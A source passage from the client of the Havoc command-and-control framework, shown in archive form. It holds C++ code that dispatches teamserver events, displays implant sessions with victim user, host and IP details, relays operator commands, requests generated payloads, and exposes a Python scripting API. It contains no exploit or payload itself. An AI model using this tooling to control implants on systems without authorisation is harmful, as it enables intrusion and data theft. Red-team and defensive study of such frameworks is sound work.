HavocX::Teamserver.TabSession->SmallAppWidgets->EventViewer->AppendText( Time, MsgStr ); } } } else if ( Package->Head.User.empty() ) { if ( ! Name.empty() ) { if ( ! Error.empty() ) { HavocX::Teamserver.TabSession->ListenerTableWidget->ListenerError( QString( Name.c_str() ), QString( Error.c_str() ) ); auto MsgStr = "[" + Util::ColorText::Red( "-" ) + "]" + " Failed to start " + Util::ColorText::Green( "\"" + QString( Name.c_str() ) + "\"" ) + " listener: " + Util::ColorText::Red( Error.c_str() ); auto Time = QString( Package->Head.Time.c_str() ); HavocX::Teamserver.TabSession->SmallAppWidgets->EventViewer->AppendText( Time, MsgStr ); } } } break; } } return true; } bool Packager::DispatchChat( Util::Packager::PPackage Package) { switch (Package->Body.SubEvent) { case Util::Packager::Chat::NewMessage: { auto TeamserverUser = HavocX::Teamserver.User; for ( const auto& e : Package->Body.Info.toStdMap() ) { auto Time = QString( Package->Head.Time.c_str() ); HavocX::Teamserver.TabSession->TeamserverChat->AddUserMessage( Time, string( e.first ).c_str(), QByteArray::fromBase64( string( e.second ).c_str() ) ); } break; } case Util::Packager::Chat::NewListener: { break; } case Util::Packager::Chat::NewSession: { break; } case Util::Packager::Chat::NewUser: { auto user = QString( Package->Body.Info.toStdMap()[ "User" ].c_str() ); auto Time = QString( Package->Head.Time.c_str() ); HavocX::Teamserver.TabSession->SmallAppWidgets->EventViewer->AppendText( Time, "[" + Util::ColorText::Green( "+" ) + "] " + Util::ColorText::Green( user + " connected to teamserver" ) ); break; } case Util::Packager::Chat::UserDisconnect: { auto user = QString( Package->Body.Info.toStdMap()[ "User" ].c_str() ); auto Time = QString( Package->Head.Time.c_str() ); HavocX::Teamserver.TabSession->SmallAppWidgets->EventViewer->AppendText( Time, "[" + Util::ColorText::Red( "-" ) + "] " + Util::ColorText::Red( user + " disconnected from teamserver" ) ); break; } } return true; } bool Packager::DispatchGate( Util::Packager::PPackage Package ) { switch ( Package->Body.SubEvent ) { case Util::Packager::Gate::Staged: { break; } case Util::Packager::Gate::Stageless: { if ( Package->Body.Info[ "PayloadArray" ].size() > 0 ) { auto PayloadArray = QString( Package->Body.Info[ "PayloadArray" ].c_str() ).toLocal8Bit(); auto FileName = QString( Package->Body.Info[ "FileName" ].c_str() ); if (HavocX::GateGUI) { HavocX::Teamserver.TabSession->PayloadDialog->ReceivedImplantAndSave( FileName, QByteArray::fromBase64( PayloadArray ) ); HavocX::GateGUI = false; } else { if ( HavocX::callbackGate ) { PyObject* pyByteArray= PyUnicode_DecodeFSDefault(Package->Body.Info[ "PayloadArray" ].c_str()); PyObject_CallFunctionObjArgs(HavocX::callbackGate, pyByteArray, nullptr); } else { break; // quit if there is no callback } } } else if ( Package->Body.Info[ "MessageType" ].size() > 0 && HavocX::GateGUI) { auto MessageType = QString( Package->Body.Info[ "MessageType" ].c_str() ); auto Message = QString( Package->Body.Info[ "Message" ].c_str() ); HavocX::Teamserver.TabSession->PayloadDialog->addConsoleLog( MessageType, Message ); } break; } } return true; } bool Packager::DispatchSession( Util::Packager::PPackage Package ) { switch ( Package->Body.SubEvent ) { case Util::Packager::Session::NewSession: { auto TeamserverTab = HavocX::Teamserver.TabSession; auto MagicValue = uint64_t( 0 ); auto StringStream = std::stringstream(); StringStream << std::hex << Package->Body.Info[ "MagicValue" ].c_str(); StringStream >> MagicValue; auto Agent = Util::SessionItem { .Name = Package->Body.Info[ "NameID" ].c_str(), .MagicValue = MagicValue, .External = Package->Body.Info[ "ExternalIP" ].c_str(), .Internal = Package->Body.Info[ "InternalIP" ].c_str(), .Listener = Package->Body.Info[ "Listener" ].c_str(), .User = Package->Body.Info[ "Username" ].c_str(), .Computer = Package->Body.Info[ "Hostname" ].c_str(), .Domain = Package->Body.Info[ "DomainName" ].c_str(), .OS = Package->Body.Info[ "OSVersion" ].c_str(), .OSBuild = Package->Body.Info[ "OSBuild" ].c_str(), .OSArch = Package->Body.Info[ "OSArch" ].c_str(), .Process = Package->Body.Info[ "ProcessName" ].c_str(), .PID = Package->Body.Info[ "ProcessPID" ].c_str(), .Arch = Package->Body.Info[ "ProcessArch" ].c_str(), .First = Package->Body.Info[ "FirstCallIn" ].c_str(), .Last = Package->Body.Info[ "LastCallIn" ].c_str(), .Elevated = Package->Body.Info[ "Elevated" ].c_str(), .PivotParent = Package->Body.Info[ "PivotParent" ].c_str(), .Marked = Package->Body.Info[ "Active" ].c_str(), .SleepDelay = (uint32_t)strtoul(Package->Body.Info[ "SleepDelay" ].c_str(), NULL, 0), .SleepJitter = (uint32_t)strtoul(Package->Body.Info[ "SleepJitter" ].c_str(), NULL, 0), .KillDate = (uint64_t)strtoull(Package->Body.Info[ "KillDate" ].c_str(), NULL, 0), .WorkingHours = (uint32_t)strtoul(Package->Body.Info[ "WorkingHours" ].c_str(), NULL, 0), }; Agent.LastUTC = QDateTime::fromString(Agent.Last, "dd-MM-yyyy HH:mm:ss"); if ( Agent.Marked == "true" ) { Agent.Marked = "Alive"; Agent.Health = "healthy"; } else if ( Agent.Marked == "false" ) { Agent.Marked = "Dead"; Agent.Health = "dead"; } for ( auto& session : HavocX::Teamserver.Sessions ) if ( session.Name.compare( Agent.Name ) == 0 ) return false; TeamserverTab->SessionTableWidget->NewSessionItem( Agent ); TeamserverTab->LootWidget->AddSessionSection( Agent.Name ); auto Time = QString( Package->Head.Time.c_str() ); auto Message = "[" + Util::ColorText::Cyan( "*" ) + "]" + " Initialized " + Util::ColorText::Cyan( Agent.Name ) + " :: " + Util::ColorText::Yellow( Agent.User + "@" + Agent.Internal ) + Util::ColorText::Cyan( " (" ) + Util::ColorText::Red( Agent.Computer ) + Util::ColorText::Cyan( ")" ); HavocX::Teamserver.TabSession->SmallAppWidgets->EventViewer->AppendText( Time, Message ); if ( Agent.Marked.compare( "Alive" ) == 0 ) { for ( auto& Callback : HavocX::Teamserver.RegisteredCallbacks ) { if ( PyCallable_Check( Callback ) ) { PyObject* arglist = Py_BuildValue( "s", Agent.Name.toStdString().c_str() ); PyObject* Return = PyObject_CallFunctionObjArgs( Callback, arglist, NULL ); if ( Return == NULL && PyErr_Occurred() ) { spdlog::error( "Error calling callback" ); PyErr_PrintEx(0); PyErr_Clear(); } } else { spdlog::error( "Callback is not callable" ); } } } break; } case Util::Packager::Session::SendCommand: { for ( auto& Session : HavocX::Teamserver.Sessions ) { if ( Session.Name.compare( Package->Body.Info[ "DemonID" ].c_str() ) == 0 ) { auto AgentType = QString( Package->Body.Info[ "AgentType" ].c_str() ); if ( ! Package->Body.Info[ "CommandLine" ].empty() ) { auto TaskID = QString( Package->Body.Info[ "TaskID" ].c_str() ); if ( AgentType.isEmpty() ) AgentType = "Demon"; Session.InteractedWidget->DemonCommands->Prompt = QString ( Util::ColorText::Comment( QString( Package->Head.Time.c_str() ) + " [" + QString( Package->Head.User.c_str() ) + "]" ) + " " + Util::ColorText::UnderlinePink( AgentType ) + Util::ColorText::Cyan(" » ") + QString( Package->Body.Info[ "CommandLine" ].c_str() ) ); if ( ! Package->Body.Info[ "TaskMessage" ].empty() ) { Session.InteractedWidget->DemonCommands->CommandTaskInfo[ TaskID ] = Package->Body.Info[ "TaskMessage" ].c_str(); } else { Session.InteractedWidget->AppendRaw(); Session.InteractedWidget->AppendRaw( Session.InteractedWidget->DemonCommands->Prompt ); } Session.InteractedWidget->lineEdit->AddCommand( QString( Package->Body.Info[ "CommandLine" ].c_str() ) ); Session.InteractedWidget->DemonCommands->DispatchCommand( false, TaskID, Package->Body.Info[ "CommandLine" ].c_str() ); } } } break; } case Util::Packager::Session::ReceiveCommand: { for ( auto & Session : HavocX::Teamserver.Sessions ) { if ( Session.Name.compare( Package->Body.Info[ "DemonID" ].c_str() ) == 0 ) { Session.InteractedWidget->DemonCommands->OutputDispatch.DemonCommandInstance = Session.InteractedWidget->DemonCommands; int CommandID = QString( Package->Body.Info[ "CommandID" ].c_str() ).toInt(); auto Output = QString( Package->Body.Info[ "Output" ].c_str() ); switch ( CommandID ) { case ( int ) Commands::CONSOLE_MESSAGE: if ( QByteArray::fromBase64( Output.toLocal8Bit() ).length() > 5 ) { Session.InteractedWidget->DemonCommands->OutputDispatch.MessageOutput( Output, QString( Package->Head.Time.c_str() ) ); Session.InteractedWidget->Console->verticalScrollBar()->setValue( Session.InteractedWidget->Console->verticalScrollBar()->maximum() ); } break; case ( int ) Commands::BOF_CALLBACK: if ( QByteArray::fromBase64( Output.toLocal8Bit() ).length() > 5 ) { auto JsonDocument = QJsonDocument::fromJson( QByteArray::fromBase64( Output.toLocal8Bit( ) ) ); auto Worked = JsonDocument[ "Worked" ].toString(); auto Output = JsonDocument[ "Output" ].toString(); auto Error = JsonDocument[ "Error" ].toString(); auto TaskID = JsonDocument[ "TaskID" ].toString(); PyObject* Callback = nullptr; auto it = Session.TaskIDToPythonCallbacks.find( TaskID ); if ( it != Session.TaskIDToPythonCallbacks.end() ) { Callback = it->second; if ( PyCallable_Check( Callback ) ) { PyObject *arglist = Py_BuildValue( "ssOss", Session.Name.toStdString().c_str(), TaskID.toStdString().c_str(), Worked == "true" ? Py_True : Py_False, Output.toStdString().c_str(), Error.toStdString().c_str() ); PyObject_CallObject( Callback, arglist ); Py_XDECREF( Callback ); } else { spdlog::error( "Callback is not callable" ); } Session.TaskIDToPythonCallbacks.erase( TaskID ); // print messages from the python the module Session.InteractedWidget->DemonCommands->PrintModuleCachedMessages(); } else { auto taskId = TaskID.toStdString(); spdlog::error( "[PACKAGE] TaskID not found: {}", taskId ); } } break; case ( int ) Commands::CALLBACK: { // update the "Last" field on this session auto LastTime = QString( QByteArray::fromBase64( Output.toLocal8Bit() ) ); auto LastTimeJson = QJsonDocument::fromJson( LastTime.toLocal8Bit() ); Session.Last = LastTimeJson["Last"].toString(); Session.LastUTC = QDateTime::fromString(Session.Last, "dd-MM-yyyy HH:mm:ss"); Session.SleepDelay = (uint32_t)strtoul(LastTimeJson["Sleep"].toString().toStdString().c_str(), NULL, 0); Session.SleepJitter = (uint32_t)strtoul(LastTimeJson["Jitter"].toString().toStdString().c_str(), NULL, 0); Session.KillDate = (uint64_t)strtoull(LastTimeJson["KillDate"].toString().toStdString().c_str(), NULL, 0); Session.WorkingHours = (uint32_t)strtoul(LastTimeJson["WorkingHours"].toString().toStdString().c_str(), NULL, 0); break; } default: spdlog::error( "[PACKAGE] Command not found" ); break; } break; } } break; } case Util::Packager::Session::Remove: { break; } case Util::Packager::Session::MarkAs: { auto AgentID = Package->Body.Info[ "AgentID" ]; auto Marked = Package->Body.Info[ "Marked" ]; for ( auto& session : HavocX::Teamserver.Sessions ) { if ( session.Name.toStdString() == AgentID ) { session.Marked = Marked.c_str(); break; } } for ( int i = 0; i < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->rowCount(); i++ ) { auto Row = HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, 0 )->text(); if ( Row.compare( QString( AgentID.c_str() ) ) == 0 ) { if ( Marked.compare( "Alive" ) == 0 ) { for ( auto& session : HavocX::Teamserver.Sessions ) { if ( session.Name.toStdString() == AgentID ) { auto Icon = ( session.Elevated.compare( "true" ) == 0 ) ? WinVersionIcon( session.OS, true ) : WinVersionIcon( session.OS, false ); HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, 0 )->setIcon( Icon ); break; } } for ( int j = 0; j < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->columnCount(); j++ ) { HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setBackground( QColor( Util::ColorText::Colors::Hex::Background ) ); HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setForeground( QColor( Util::ColorText::Colors::Hex::Foreground ) ); } } else if ( Marked.compare( "Dead" ) == 0 ) { HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, 0 )->setIcon( QIcon( ":/icons/DeadWhite" ) ); for ( int j = 0; j < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->columnCount(); j++ ) { HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setBackground( QColor( Util::ColorText::Colors::Hex::CurrentLine ) ); HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setForeground( QColor( Util::ColorText::Colors::Hex::Comment ) ); } } break; } } break; } } return true; } bool Packager::DispatchService( Util::Packager::PPackage Package ) { switch ( Package->Body.SubEvent ) { case Util::Packager::Service::AgentRegister: { auto JsonObject = QJsonDocument::fromJson( Package->Body.Info[ "Agent" ].c_str() ).object(); auto OSArray = QStringList(); auto Arch = QStringList(); auto Formats = std::vector(); auto Commands = std::vector(); auto MagicValue = uint64_t( 0 ); auto StringStream = std::stringstream(); auto AgentName = std::string(); for ( const auto& item : JsonObject[ "Arch" ].toArray() ) Arch << item.toString(); for ( const auto& item : JsonObject[ "Formats" ].toArray() ) { Formats.push_back( AgentFormat { .Name = item.toObject()[ "Name" ].toString(), .Extension = item.toObject()[ "Extension" ].toString(), } ); } for ( const auto& item : JsonObject[ "SupportedOS" ].toArray() ) OSArray << item.toString(); for ( const auto& command : JsonObject[ "Commands" ].toArray() ) { auto Mitr = QStringList(); auto Params = std::vector(); for ( const auto& param : command.toObject()[ "Params" ].toArray() ) { Params.push_back( CommandParam { .Name = param.toObject()[ "Name" ].toString(), .IsFilePath = param.toObject()[ "IsFilePath" ].toBool(), .IsOptional = param.toObject()[ "IsOptional" ].toBool(), } ); } for ( const auto& i : command.toObject()[ "Mitr" ].toArray() ) Mitr << i.toString(); Commands.push_back( AgentCommands{ .Name = command.toObject()[ "Name" ].toString(), .Description = command.toObject()[ "Description" ].toString(), .Help = command.toObject()[ "Help" ].toString(), .NeedAdmin = command.toObject()[ "NeedAdmin" ].toBool(), .Mitr = Mitr, .Params = Params, .Anonymous = command.toObject()[ "Anonymous" ].toBool(), } ); } StringStream << std::hex << JsonObject[ "MagicValue" ].toString().toStdString(); StringStream >> MagicValue; HavocX::Teamserver.ServiceAgents.push_back( ServiceAgent{ .Name = JsonObject[ "Name" ].toString(), .Description = JsonObject[ "Description" ].toString(), .Version = JsonObject[ "Version" ].toString(), .MagicValue = MagicValue, .Arch = Arch, .Formats = Formats, .SupportedOS = OSArray, .Commands = Commands, .BuildingConfig = QJsonDocument( JsonObject[ "BuildingConfig" ].toObject() ), } ); AgentName = JsonObject[ "Name" ].toString().toStdString(); spdlog::info( "Added service agent to client: {}", AgentName ); return true; } case Util::Packager::Service::ListenerRegister: { auto listener = json::parse( Package->Body.Info[ "Listener" ].c_str() ); auto name = listener[ "Name" ].get(); HavocX::Teamserver.RegisteredListeners.push_back( listener ); spdlog::info( "Added service listener to client: {}", name ); return true; } default: break; } return false; } bool Packager::DispatchTeamserver( Util::Packager::PPackage Package ) { switch ( Package->Body.SubEvent ) { case Util::Packager::Teamserver::Logger: { auto Text = QString( Package->Body.Info[ "Text" ].c_str() ); if ( HavocX::Teamserver.TabSession->Teamserver == nullptr ) { HavocX::Teamserver.TabSession->Teamserver = new Teamserver; HavocX::Teamserver.TabSession->Teamserver->setupUi( new QDialog ); } HavocX::Teamserver.TabSession->Teamserver->AddLoggerText( Text ); } case Util::Packager::Teamserver::Profile: { } } return true; } void Packager::setTeamserver( QString Name ) { this->TeamserverName = Name; } havoc-0.6~git20240910.69ce17c/client/src/Havoc/PythonApi/000077500000000000000000000000001467014221700223075ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/client/src/Havoc/PythonApi/Event.cc000066400000000000000000000106231467014221700237010ustar00rootroot00000000000000#include #include #include // TODO: finish this. PyMemberDef PyEventClass_members[] = { // { "SessionFuncList", T_OBJECT, offsetof( PyEvents, SessionFuncList ), 0, "Session function list" }, { NULL }, }; PyMethodDef PyEventClass_methods[] = { { "OnNewSession", ( PyCFunction ) EventClass_OnNewSession, METH_VARARGS | METH_STATIC, "Event on new session" }, { NULL }, }; PyTypeObject PyEventClass_Type = { PyVarObject_HEAD_INIT( &PyType_Type, 0 ) "havoc.Event", /* tp_name */ sizeof( PyEvents ), /* tp_basicsize */ 0, /* tp_itemsize */ ( destructor ) EventClass_dealloc, /* tp_dealloc */ 0, /* tp_print */ 0, /* tp_getattr */ 0, /* tp_setattr */ 0, /* tp_reserved */ 0, /* tp_repr */ 0, /* tp_as_number */ 0, /* tp_as_sequence */ 0, /* tp_as_mapping */ 0, /* tp_hash */ 0, /* tp_call */ 0, /* tp_str */ 0, /* tp_getattro */ 0, /* tp_setattro */ 0, /* tp_as_buffer */ Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE, /* tp_flags */ "Havoc Event Object", /* tp_doc */ 0, /* tp_traverse */ 0, /* tp_clear */ 0, /* tp_richcompare */ 0, /* tp_weaklistoffset */ 0, /* tp_iter */ 0, /* tp_iternext */ PyEventClass_methods, /* tp_methods */ PyEventClass_members, /* tp_members */ 0, /* tp_getset */ 0, /* tp_base */ 0, /* tp_dict */ 0, /* tp_descr_get */ 0, /* tp_descr_set */ 0, /* tp_dictoffset */ ( initproc ) EventClass_init, /* tp_init */ 0, /* tp_alloc */ EventClass_new, /* tp_new */ }; #define AllocMov( des, src, size ) \ if ( size > 0 ) \ { \ des = ( char* ) malloc( size * sizeof( char ) ); \ memset( des, 0, size ); \ std::strcpy( des, src ); \ } void EventClass_dealloc( PPyEvents self ) { if (self) { Py_TYPE( self )->tp_free( ( PyObject* ) self ); } } PyObject* EventClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds ) { PPyEvents self = nullptr; self = ( PPyEvents ) PyType_Type.tp_alloc( type, 0 ); return ( PyObject* ) self; } int EventClass_init( PPyEvents self, PyObject *args, PyObject *kwds ) { if ( PyType_Type.tp_init( ( PyObject* ) self, args, kwds ) < 0 ) return -1; return 0; } // Methods PyObject* EventClass_OnNewSession( PPyEvents self, PyObject *args ) { PyObject* Function = NULL; if ( ! PyArg_ParseTuple( args, "O", &Function ) ) return NULL; if ( ! PyCallable_Check( Function ) ) { PyErr_SetString(PyExc_TypeError, "parameter must be callable"); return NULL; } HavocX::Teamserver.RegisteredCallbacks.push_back(Function); Py_RETURN_NONE; } PyObject* EventClass_OnDemonOutput( PPyEvents self, PyObject *args ) { Py_RETURN_NONE; } havoc-0.6~git20240910.69ce17c/client/src/Havoc/PythonApi/Havoc.cc000066400000000000000000000300111467014221700236510ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include using namespace HavocNamespace::Util; namespace PythonAPI::Havoc { PyMethodDef PyMethode_Havoc[] = { { "LoadScript", PythonAPI::Havoc::Core::Load, METH_VARARGS, "load python script" }, { "GetDemons", PythonAPI::Havoc::Core::GetDemons, METH_VARARGS, "get list of demon ID's" }, { "GetListeners", PythonAPI::Havoc::Core::GetListeners, METH_VARARGS, "get list of Listeners" }, { "GetAgents", PythonAPI::Havoc::Core::GetAgents, METH_VARARGS, "get list of Agents" }, { "GeneratePayload", ( PyCFunction ) PythonAPI::Havoc::Core::GeneratePayload, METH_VARARGS | METH_KEYWORDS, "Generate a payload and get the base64 bytestring" }, { "RegisterCommand", ( PyCFunction ) PythonAPI::Havoc::Core::RegisterCommand, METH_VARARGS | METH_KEYWORDS, "register a command/alias" }, { "RegisterModule", PythonAPI::Havoc::Core::RegisterModule, METH_VARARGS, "register a module" }, { "RegisterCallback", PythonAPI::Havoc::Core::RegisterCallback, METH_VARARGS, "register a callback" }, { NULL, NULL, 0, NULL } }; namespace PyModule { struct PyModuleDef havoc = { PyModuleDef_HEAD_INIT, "havoc", "Python module to interact with Havoc", -1, PyMethode_Havoc }; } } PyMODINIT_FUNC PythonAPI::Havoc::PyInit_Havoc( void ) { PyObject* Module = PyModule_Create2( &PythonAPI::Havoc::PyModule::havoc, PYTHON_API_VERSION ); if ( PyType_Ready( &PyDemonClass_Type ) < 0 ) spdlog::error( "Couldn't check if DemonClass is ready" ); else PyModule_AddObject( Module, "Demon", (PyObject*) &PyDemonClass_Type ); if ( PyType_Ready( &PyAgentClass_Type ) < 0 ) spdlog::error( "Couldn't check if AgentClass is ready" ); else PyModule_AddObject( Module, "Agent", (PyObject*) &PyAgentClass_Type ); if ( PyType_Ready( &PyEventClass_Type ) < 0 ) spdlog::error( "Couldn't check if Event class is ready" ); else PyModule_AddObject( Module, "Event", (PyObject*) &PyEventClass_Type ); return Module; } PyObject* PythonAPI::Havoc::Core::Load( PyObject *self, PyObject *args ) { char* FilePath = NULL; int Return = 0; if ( ! PyArg_ParseTuple( args, "s", &FilePath ) ) Py_RETURN_NONE; auto script = FileRead( FilePath ); spdlog::info( "Load Script: {}", FilePath ); Return = PyRun_SimpleStringFlags( script.toStdString().c_str(), NULL ); if ( Return == -1 ) { spdlog::error( "Failed to load script" ); Py_RETURN_FALSE; } Py_RETURN_TRUE; } PyObject* PythonAPI::Havoc::Core::GetListeners( PyObject *self, PyObject *args ) { auto Listeners = HavocX::Teamserver.Listeners; uint32_t NumberOfSessions = Listeners.size(); PyObject* ListenerObjects = PyList_New( NumberOfSessions ); PyObject* ListenerID = NULL; for ( int i = 0; i < NumberOfSessions; ++i ) { ListenerID = Py_BuildValue( "s", Listeners[ i ].Name.c_str() ); PyList_SetItem( ListenerObjects, i, ListenerID ); } return ListenerObjects; } PyObject* PythonAPI::Havoc::Core::GetAgents( PyObject *self, PyObject *args ) { auto Agents = HavocX::Teamserver.ServiceAgents; uint32_t NumberOfSessions = Agents.size(); PyObject* AgentsObjects = PyList_New( NumberOfSessions + 1); PyObject* AgentsID = NULL; AgentsID = Py_BuildValue( "s", "Demon" ); PyList_SetItem( AgentsObjects, 0, AgentsID ); for ( int i = 1; i < NumberOfSessions; ++i ) { AgentsID = Py_BuildValue( "s", Agents[ i ].Name.toStdString().c_str() ); PyList_SetItem( AgentsObjects, i, AgentsID ); } return AgentsObjects; } PyObject* PythonAPI::Havoc::Core::GetDemons( PyObject *self, PyObject *args ) { auto DemonSessions = HavocX::Teamserver.Sessions; uint32_t NumberOfSessions = DemonSessions.size(); PyObject* DemonObjects = PyList_New( NumberOfSessions ); PyObject* DemonID = NULL; for ( int i = 0; i < NumberOfSessions; ++i ) { DemonID = Py_BuildValue( "s", DemonSessions[ i ].Name.toStdString().c_str() ); PyList_SetItem( DemonObjects, i, DemonID ); } return DemonObjects; } PyObject* PythonAPI::Havoc::Core::GeneratePayload( PyObject *self, PyObject *args, PyObject* kwargs ) { PyObject* callbackGate = nullptr; char* agent = nullptr; char* listener = nullptr; char* arch = nullptr; char* format_string = nullptr; char* config = nullptr; const char* KeyWords[] = { "callback", "agent", "listener", "arch", "format", "config", NULL }; if ( ! PyArg_ParseTupleAndKeywords( args, kwargs, "Osssss", const_cast(KeyWords), &callbackGate, &agent, &listener, &arch, &format_string, &config) ) Py_RETURN_NONE; if ( !PyCallable_Check(callbackGate) ) { PyErr_SetString(PyExc_TypeError, "parameter must be callable"); return NULL; } HavocX::callbackGate = callbackGate; auto Package = new Util::Packager::Package; auto Head = Util::Packager::Head_t { .Event = Util::Packager::Gate::Type, .User = HavocX::Teamserver.User.toStdString(), .Time = CurrentTime().toStdString(), .OneTime = "true", }; auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Gate::Stageless, .Info = { { "AgentType", std::string(agent) }, { "Listener", std::string(listener) }, { "Arch", std::string(arch) }, { "Format", std::string(format_string) }, { "Config", std::string(config) }, }, }; Package->Head = Head; Package->Body = Body; HavocX::Connector->SendPackage( Package ); Py_RETURN_NONE; } // RegisterCommand( PyFunction: func, Module: str, Command: str, Description: str, Behavior: int, Usage: str, Example: str ) PyObject* PythonAPI::Havoc::Core::RegisterCommand( PyObject *self, PyObject *args, PyObject* kwargs ) { RegisteredCommand RCommand = { }; PVOID Function = nullptr; PCHAR Agent = nullptr; PCHAR Module = nullptr; PCHAR Command = nullptr; PCHAR Description = nullptr; PCHAR Usage = nullptr; PCHAR Example = nullptr; u32 Behavior = 0; auto CompleteText = QString(); auto Path = HavocX::Teamserver.LoadingScript; const char* KeyWords[] = { "function", "module", "command", "description", "behavior", "usage", "example", "agent", NULL }; const char* format = "Osssiss|s"; if ( ! PyArg_ParseTupleAndKeywords( args, kwargs, format, const_cast(KeyWords), &Function, &Module, &Command, &Description, &Behavior, &Usage, &Example, &Agent ) ) Py_RETURN_NONE; if ( Agent != nullptr ) RCommand.Agent = Agent; else RCommand.Agent = "Demon"; /* if the 'agent' keyword hasn't been specified then use the demon agent by default */ RCommand.Function = Function; RCommand.Module = Module; RCommand.Command = Command; RCommand.Help = Description; RCommand.Behaviour = Behavior; RCommand.Usage = Usage; RCommand.Example = Example; RCommand.Path = Path.substr( 0, Path.find_last_of( "\\/" ) ); if ( QString( RCommand.Module.c_str() ).length() > 0 ) { spdlog::debug( "Registered command: {} {}", Module, Command ); } else { spdlog::debug( "Registered command: {}", Command ); } // Check if command already exists... if it is already existing then replace it with new one. for ( u32 i = 0; i < HavocX::Teamserver.RegisteredCommands.size(); i++ ) { auto c = HavocX::Teamserver.RegisteredCommands[ i ]; if ( ( c.Command == RCommand.Command ) && ( c.Module == RCommand.Module ) && ( c.Agent == RCommand.Agent ) ) { spdlog::debug( "Command already exists: [Module: {}] [Command: {}]", RCommand.Module, RCommand.Command ); HavocX::Teamserver.RegisteredCommands[ i ] = RCommand; Py_RETURN_NONE; } } if ( ! RCommand.Module.empty() ) CompleteText = QString( RCommand.Module.c_str() ) + " " + QString( RCommand.Command.c_str() ); else CompleteText = QString( RCommand.Command.c_str() ); // TODO: further test this. Reload or load new scripts that make use of RegisterCommand auto Sessions = HavocX::Teamserver.Sessions; for ( u32 i = 0; i < Sessions.size(); i++ ) { Sessions[ i ].InteractedWidget->AutoCompleteAdd( CompleteText ); Sessions[ i ].InteractedWidget->AutoCompleteAdd( "help " + CompleteText ); } HavocX::Teamserver.AddedCommands << CompleteText; // Add new command HavocX::Teamserver.RegisteredCommands.push_back( RCommand ); Py_XINCREF( RCommand.Function ); Py_RETURN_NONE; } // RegisterModule( Name: str, Description: str, Behavior: str, Usage: str, Example: str, Options: str ) PyObject* PythonAPI::Havoc::Core::RegisterModule( PyObject *self, PyObject *args ) { spdlog::debug( "PythonAPI::Havoc::Core::RegisterModule" ); RegisteredModule Module = {}; PCHAR Name = nullptr; PCHAR Description = nullptr; PCHAR Behavior = nullptr; PCHAR Usage = nullptr; PCHAR Example = nullptr; PCHAR Options = nullptr; auto CompleteText = QString(); if( ! PyArg_ParseTuple( args, "ssssss", &Name, &Description, &Behavior, &Usage, &Example, &Options ) ) Py_RETURN_NONE; Module.Name = Name; Module.Description = Description; Module.Behavior = Behavior; Module.Usage = Usage; Module.Example = Example; // Check if module already exists... if it is already existing then replace it with new one. for ( u32 i = 0; i < HavocX::Teamserver.RegisteredModules.size(); i++ ) { auto c = HavocX::Teamserver.RegisteredModules[ i ]; if ( ( c.Name == Module.Name ) && ( c.Agent == Module.Agent ) ) { spdlog::debug( "Module already exists: [Module: {}]", Module.Name ); HavocX::Teamserver.RegisteredModules[ i ] = Module; Py_RETURN_NONE; } } CompleteText = QString( Module.Name.c_str() ); // TODO: further test this. Reload or load new scripts that make use of RegisterCommand auto Sessions = HavocX::Teamserver.Sessions; for ( u32 i = 0; i < Sessions.size(); i++ ) { Sessions[ i ].InteractedWidget->AutoCompleteAdd( CompleteText ); Sessions[ i ].InteractedWidget->AutoCompleteAdd( "help " + CompleteText ); } HavocX::Teamserver.AddedCommands << CompleteText; // Add new command HavocX::Teamserver.RegisteredModules.push_back( Module ); spdlog::debug( "Registered module: {}", Module.Name ); Py_RETURN_NONE; } PyObject* PythonAPI::Havoc::Core::RegisterCallback( PyObject *self, PyObject *args ) { spdlog::debug( "PythonAPI::Havoc::Core::RegisterCallback" ); PyObject* Callback = nullptr; if ( ! PyArg_ParseTuple( args, "O", &Callback ) ) { spdlog::error( "Invalid parameters on RegisterCallback" ); return nullptr; } if ( ! PyCallable_Check( Callback ) ) { spdlog::error( "The callback is not callable" ); return nullptr; } HavocX::Teamserver.RegisteredCallbacks.push_back( Callback ); Py_XINCREF( Callback ); Py_RETURN_NONE; } havoc-0.6~git20240910.69ce17c/client/src/Havoc/PythonApi/HavocUi.cc000066400000000000000000000215211467014221700241550ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include #include #include #include namespace PythonAPI::HavocUI { PyMethodDef PyMethode_HavocUI[] = { { "messagebox", PythonAPI::HavocUI::Core::MessageBox, METH_VARARGS, "Python interface for Havoc Messagebox" }, { "errormessage", PythonAPI::HavocUI::Core::ErrorMessage, METH_VARARGS, "Python interface for Havoc Error Message" }, { "createtab", PythonAPI::HavocUI::Core::CreateTab, METH_VARARGS, "Python interface for Havoc Tabs" }, { "inputdialog", PythonAPI::HavocUI::Core::InputDialog, METH_VARARGS, "Python interface for Havoc InputDialog" }, { "openfiledialog", PythonAPI::HavocUI::Core::OpenFileDialog, METH_VARARGS, "Python interface for Havoc InputDialog" }, { "savefiledialog", PythonAPI::HavocUI::Core::SaveFileDialog, METH_VARARGS, "Python interface for Havoc InputDialog" }, { "questiondialog", PythonAPI::HavocUI::Core::QuestionDialog, METH_VARARGS, "Python interface for Havoc InputDialog" }, { "colordialog", PythonAPI::HavocUI::Core::ColorDialog, METH_VARARGS, "Python interface for Havoc ColorDialog" }, { "progressdialog", PythonAPI::HavocUI::Core::ProgressDialog, METH_VARARGS, "Python interface for Havoc ColorDialog" }, { NULL, NULL, 0, NULL } }; namespace PyModule { struct PyModuleDef havocui = { PyModuleDef_HEAD_INIT, "havocui", "Python module for Havoc Interface UI", -1, PyMethode_HavocUI }; } } PyObject* PythonAPI::HavocUI::Core::CreateTab(PyObject *self, PyObject *args) { const char *title = nullptr; const char *in_menu = nullptr; if ( 